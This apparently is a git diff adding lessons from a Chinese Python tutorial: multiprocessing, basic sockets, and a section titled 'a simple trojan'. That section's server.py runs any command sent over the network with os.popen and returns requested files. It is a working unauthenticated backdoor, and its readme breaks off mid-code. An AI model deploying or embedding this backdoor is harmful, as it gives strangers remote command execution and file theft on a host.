diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..321f370 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,21 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + info('main line') + p = Process(target=f, args=('bob',)) + p.start() + p.join() + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..9f3fb2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..27f6eeb Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..17c9911 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..0944a4c Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..912a226 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..4d76d2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..226ba65 Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..4ea7630 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,237 @@ +## 2.3 多进程编程 + +在上一节我们讲过Python的多线程由于全局线程锁的存在并不能实现真正的并行编程,但是Python中的多进程编程模式是可以实现这个目标的。多进程模式下进行上下文切换的损耗要远远大于线程。进程间无法直接共享数据,需要通过Queue、Pipe或则Manager方式做进程间通信。 + +需要注意的是,编辑器对多进程调试的支持一般都不太好,在vscode中的调试控制台只能打印主进程的输出内容,所有需要在命令行运行脚本(或者在调试菜单中选择不调试模式下运行)查看完整结果。 + + +### 2.3.1 创建进程 + + +multiprocessing模块提供了类似threading模块中多线程编程模式的功能,辅助我们进行多进程开发。下面我们看创建子进程的示例(创建simple.py): + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process +import os + +def info(title): + print(title) + print('module name:', __name__) + print('parent process:', os.getppid()) + print('process id:', os.getpid()) + +def f(name): + info('function f') + print('hello', name) + +if __name__ == '__main__': + print('main line') + p = Process(target=f, args=('bob',))#创建进程 + p.start() + p.join() +``` + +Process类定义在multiprocessing模块中,使用方法和Thread类基本类似,具体参数这里就不详细介绍了,参考2.2节即可。和Thread类似,我们使用start方法来启动子进程,使用join方法等待子进程执行完毕才退出。代码中我们使用os.getppid()来获取当前进程的父进程id,使用os.getpid()来获取当前进程的id。和多线程类似,我们可以同时创建多个进程来实现真正的并行任务。 + +如果想要手动终止进程可以调用p.terminate()。 + +运行结果如下: + + + +### 2.3.2 进程间通信 + +多进程之间的通信通过Queue()或Pipe()来实现。 + +#### Queue + +通过Queue可以实现多个进程间的数据共享,Queue类提供了put方法存放数据,get方法获取数据,get方法获取数据的同上会清空队列。新建Queue.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data)#添加数据 +def out(q): + time.sleep(4) + print(q.get())#获取数据 + +if __name__ == '__main__': + q = Queue()#创建Queue实例 + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + ``` +在上面的代码中,我们首先调用Queue()来创建一个Queue的实例,接下来创建了两个子进程p和p1。进程p绑定的函数为f,向Queue中添加数据;进程p1绑定函数out,从Queue中获取数据。运行结果如下: + + +从运行结果看,两个进程间通过Queue完成了数据共享。 + +#### Pipe + +multiprocessing.Pipe()即管道模式,调用Pipe()返回管道的两端的Connection。Pipe的本质是进程之间的数据传递,而不是数据共享,这和socket有点像。pipe()返回两个连接对象分别表示管道的两端,每端都有send()和recv()方法。如果两个进程试图在同一时间的同一端进行读取和写入那么,这可能会损坏管道中的数据。 + +新建Pipe.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() +``` +上面的代码中在主进程中调用multiprocessing.Pipe(True)创建了管道,并返回元组(conn1,conn2),其中conn1和conn2是表示管道两端的Connection对象。Pipe接收一个布尔型参数,默认为true,表示是全双工通信,如果将置为False,conn1只能用于接收,而conn2只能用于发送。必须在创建和启动使用管道的Process对象之前调用Pipe()方法。 + +当主进程创建Pipe的时候,Pipe的两个Connections连接的的都是主进程。 +当主进程创建子进程后,Connections也被拷贝了一份。此时有了4个Connections。 +此后,关闭主进程的一个Out Connection,关闭一个子进程的一个In Connection。那么就建立好了一个输入在主进程,输出在子进程的管道。 +原理示意图如下: + + +应该特别注意管道端点的正确管理问题。如果是生产者或消费者中都没有使用管道的某个端点,就应将它关闭。这也说明了为何在生产者中关闭了管道的输出端,在消费者中关闭管道的输入端。如果忘记执行这些步骤,程序可能在消费者中的recv()操作上挂起。管道是由操作系统进行引用计数的,必须在所有进程中关闭管道后才能生成EOFError异常。因此,在生产者中关闭管道不会有任何效果,除非消费者也关闭了相同的管道端点。 + +运行结果如下: + + + + +### 2.3.3 进程锁 + +和多线程编程一样,当多个进程需要访问共享资源的时候,Lock可以用来避免访问的冲突。新建Lock.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() +``` + +上面的代码中,我们通过multiprocessing.Lock()来创建一个进程锁,然后调用 +“multiprocessing.Value('i', 0) ”定义了一个共享内存变量v,初始值为0。接下来启动两个线程p1和p2,同时对共享变量v进行操作,为了保证二者互不影响,在方法job中调用了acquire方法和release方法,对期间的代码块加锁,保证同时只能有一个进程修改v的值。运行结果如下: + + + + +### 2.3.4 进程池 + +由于进程启动的开销比较大,使用多进程的时候会导致大量内存空间被消耗。为了防止这种情况发生可以使用进程池。进程池会缓存一些进程在池子中,使用的时候直接拿来用,使用完毕回收到池子中。 + + +进程池中常用方法: +``` +apply() 同步执行(串行) +apply_async() 异步执行(并行) +terminate() 立刻关闭进程池 +join() 主进程等待所有子进程执行完毕。必须在close或terminate()之后。 +close() 等待所有进程结束后,才关闭进程池。 +``` + +新建Pool.py,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 +``` + +进程池内部维护一个进程序列,当使用时,去进程池中获取一个进程,如果进程池序列中没有可供使用的进程,那么程序就会等待,直到进程池中有可用进程为止。在上面的程序中产生了10个进程,但是只能有5同时被放入进程池,剩下的都被暂时挂起,并不占用内存空间,等前面的五个进程执行完后,再执行剩下5个进程。 + +### 2.3.5 小结 + +本节介绍了Python中多进程编程的基本概念,后续课程中会继续使用多进程来开发应用。 +#### 本节作业 +1. 结合2.1,2.2节内容,写一个多进程版本的文件枚举程序,同时输入多个目录,每个子进程负责一个目录递归获取该目录下的所有文件。 + +下一节我们通过一个综合训练,巩固本章学习的内容。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + + + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + + + + diff --git a/2.3.pdf b/2.3.pdf new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and b/2.3.pdf differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" new file mode 100644 index 0000000..1183406 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/3.1.pdf" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" new file mode 100644 index 0000000..35e8800 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/client.py" @@ -0,0 +1,38 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host) + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80)) + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message) + reply = s.recv(4096) + print(reply) + s.close() + except socket.error: + sys.exit() #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" new file mode 100644 index 0000000..cc974e7 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/code/server.py" @@ -0,0 +1,34 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/1.jpg" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..1701a66 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..7ff0fd8 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..6e91c34 Binary files /dev/null and "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" new file mode 100644 index 0000000..9774938 --- /dev/null +++ "b/3.1 Socket \347\274\226\347\250\213\345\237\272\347\241\200/readme.md" @@ -0,0 +1,184 @@ +## 3.1 Socket编程基础 + +从本节开始,我们正式打开网络编程的大门。需要注意的是,网络编程的基础是网络协议,本系列文章中不会系统的讲解协议,希望各位同学努力补充TCP/IP协议的相关内容。 + +Socket(套接字)编程是众多c/s架构程序基础,游戏、web服务器、绝大多数的木马程序都是基于Socket来实现的。在讲解什么是Socket之前,我们先来简单了解下TCP/IP分层模型。 + +国际标准化组织(ISO)在1978年提出了“开放系统互联参考模型”,即著名的OSI/RM模型(Open System Interconnection/Reference Model)。它将计算机网络体系结构的通信协议划分为七层,自下而上依次为:物理层(Physics Layer)、数据链路层(Data Link Layer)、网络层(Network Layer)、传输层(Transport Layer)、会话层(Session Layer)、表示层(Presentation Layer)、应用层(Application Layer)。其中第四层完成数据传送服务,上面三层面向用户。 + +除了标准的OSI七层模型以外,常见的网络层次划分还有TCP/IP四层协议以及TCP/IP五层协议,它们之间的对应关系如下图所示: + + + + +四层模型和五层是现实世界中真实存在的,本系列教程遵循4层模型来写作。本章内容集中在网络接口层,实际对应到5层的数据链路层。 + +Socket(套接字)是一种编程接口,一般面向网络层和传输层协议(套接字并不限于TCP/IP),每个套接字绑定一个ip一个端口。在Internet上的主机一般运行了多个服务软件,同时提供几种服务。每种服务都打开一个Socket,并绑定到一个端口上,不同的端口对应于不同的服务。比如QQ服务端对外绑定8000端口,web服务器一般对外绑定80端口。 + +Socket(套接字)为BSD UNIX系统核心的一部分,而且他们也被许多其他类似UNIX的操作系统包括Linux所采纳。许多非BSD UNIX系统(如ms-dos,windows,os/2,mac os及大部分主机环境)都以库形式提供对套接字的支持。 + +了解了基本概念之后,我们来了解下Python的Socket编程接口。 + +3.1.1 socket 类 + +Python 提供了两个基本的 socket 模块: + +* `socket` 它提供了标准的BSD Socket API。 +* `socketserver` 为服务器端编程提供了进一步封装,可以简化网络服务器的开发。 + +调用socket.socket可以创建一个Socket实例,socket类构造函数声明如下: + +``` +socket(family, type[,protocal]) +``` + +我们看到socket构造函数接收三个参数,第一个为family。family表示套接字对象使用的地址族,可选值:AF_INET——IPv4地址族,AF_INET6——IPv6地址族,AF_UNIX——针对类UNIX系统的套接字。第二个为type,可使用的类型如下: + +socket 类型 | 描述 +:--- | :--- +socket.SOCK_STREAM | 基于TCP的流式socket通信 +socket.SOCK_DGRAM | 基于UDP的数据报式socket通信 +socket.SOCK_RAW | 原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次SOCK_RAW也可以处理特殊的IPV4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头 +socket.SOCK_SEQPACKET | 可靠的连续数据包服务 + +第三个参数protocal是协议类型,默认是0表示套接字,在套接字编程中不需要关心该参数。 + +创建TCP Socket的方法如下: +```Python +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +``` +创建UDP Socket的方法如下: +``` +sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +``` + +接下来我们基于socket类来实现简单的客户端和服务端。 + +### 3.1.2 客户端编程 + +新建client.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +#测试类 +class Client: + def __init__(self,host): + self.host=host #待连接的远程主机的域名 + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + sys.exit() #退出进程 + + +if __name__ == '__main__': + cl = Client('www.baidu.com') + cl.connet() +``` + +我们定义一个测试类名为Client,构造函数接收一个域名,用于连接测试。定义了connet方法,创建一个tcp类型的socket实例,向服务端发起连接。该方法最后调用sys.exit()退出。下面我们完善connet方法: + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + sys.exit() #退出进程 + try: + remote_ip = socket.gethostbyname(self.host)#根据域名获取ip + except socket.gaierror: + print('主机无法被解析') + sys.exit() #退出进程 + try: + s.connect((remote_ip,80))#连接 + message = b"GET / HTTP/1.1\r\n\r\n" + s.sendall(message)#发送数据 + reply = s.recv(4096)#接收数据 + print(reply) + s.close()#关闭连接 + except socket.error: + sys.exit() #退出进程 +``` +如上,一个简单的客户端完成了,我们首先调用socket.gethostbyname方法,利用传入的host参数获取其远程服务器的ip。接下来调用s.connect方法连接远程主机,注意connect方法的参数为一个元组,由ip和端口组成。主机连接完成,调用 s.sendall方法一次性发送所有数据到服务端,这里需要注意发送的数据必须是二进制格式。当数据比较大的时候需要使用send方法循环发送。接收服务器的响应使用s.recv方法,该方法的参数为一次接收的数据大小,当数据很大或者不知道具体大小的时候,需要循环接收。 最后调用s.close方法关闭连接。这个最简单客户端程序,实际上是发出了一个Http 的get请求,我们看下运行结果: + + + +现在简单总结下Socket客户端编程的基本步骤: +1. 创建套接字 + +2. 连接服务端 + +3. 发送数据 + +4. 接收数据 + +5. 关闭连接 + +下面我们再看最基本的服务端编程。 + +### 3.1.3 服务端编程 + +新建server.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#创建socket + try: + s.bind((self.ip,self.port))#绑定 + s.listen(10)#监听 + print('等待客户端连接') + conn, addr = s.accept()#接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + data = conn.recv(1024)#接收数据 + print("客户端数据:%s"%data) + conn.sendall(bytes("你好客户端\n\r", encoding = "utf8"))#发送数据 + conn.close()#关闭连接 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + +if __name__ == '__main__': + s = server('',8800) + s.start() + +``` +server类的start方法创建了一个简单的服务端。和客户端编程类似,我们首先创建一个socket对象。随后,我们要把socket绑定到传入的IP和端口上,调用bind方法,传入ip和端口号。服务端不会主动连接其他主机,而是等待客户端连接,这需要进入监听状态,listen方法接收一个参数,用来指定可以同时挂起的连接数。监听模式之后,如果有客户端连接进来,如何接收连接呢?需要使用accept方法。accept方法会返回一个代表当前链接的connection对象和客户端的ip地址。接下来就可以使用conn对象来接收和发送数据了,最后调用conn.close()关闭和客户端的连接。下面我们启动服务端,然后再命令行启动nc,来连接服务端。 + + + +从上图我们可以看到,通过nc连接到服务端之后,服务端会打印连接的客户端信息,客户端输入“hello”,服务端接收后返回“你好客户端”,然后关闭连接。 + +### 3.1.4 小结 + +本节我们完成了最简单的客户端和服务端编程,同学们需要掌握建立客户端和服务端的基本步骤和api的使用。 下一节我们会继续改善本节的内容,创建基于多线程和多进程的服务端,使我们的客户端和服务端能正常通信,反复交流。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + + + + diff --git a/3.1.pdf b/3.1.pdf new file mode 100644 index 0000000..1183406 Binary files /dev/null and b/3.1.pdf differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/3.2.pdf" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" new file mode 100644 index 0000000..7753112 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/client.py" @@ -0,0 +1,55 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + self.bufferSize = 10240 + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" new file mode 100644 index 0000000..2a9c5d2 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/code/server.py" @@ -0,0 +1,58 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.bind((self.ip, self.port)) # 绑定 + s.listen(10) # 监听 + print('等待客户端连接') + while True: # 一直等待新的连接 + try: + conn, addr = s.accept() # 接收连接 + print('客户端连接 ' + addr[0] + ':' + str(addr[1])) + while True: # 不知道客户端发送数据大小,循环接收 + data = conn.recv(self.bufferSize) + if not data: + break + else: + self.executeCommand(conn,data) + conn.close() + except socket.error as e: + print(e) + conn.close() # 关闭连接 + finally: + s.close() # 关闭服务端 + + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise + + + +if __name__ == '__main__': + s = server('', 8800) + s.start() diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/0.jpg" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" new file mode 100644 index 0000000..77dc710 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/1.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" new file mode 100644 index 0000000..0559456 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/2.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" new file mode 100644 index 0000000..32f62e9 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/3.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" new file mode 100644 index 0000000..96a5eea Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/4.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" new file mode 100644 index 0000000..fd6e158 Binary files /dev/null and "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/img/6.png" differ diff --git "a/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" new file mode 100644 index 0000000..800c6f5 --- /dev/null +++ "b/3.2 \344\270\200\344\270\252\347\256\200\345\215\225\346\234\250\351\251\254/readme.md" @@ -0,0 +1,286 @@ +## 3.2 一个简单木马 + +在3.1节,我们学习了socket编程的基础,可以实现基本的client和server端的编程。本节在此基础上,实现client和server端的连接和交互,实现一个基本的木马程序。该程序可以实现读取服务端文件内容发送给客户端,或者执行shell命令。 + +### 3.2.1 服务端 + +我们先按照之前的做法,创建server类,在start方法中完成服务器的启动和监听,并保持连接接收客户端发送的数据。代码如下: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import os + + +class server: + def __init__(self, ip, port): + self.port = port + self.ip = ip + self.bufferSize = 10240 + + def start(self): # 启动监听,接收数据 + s = 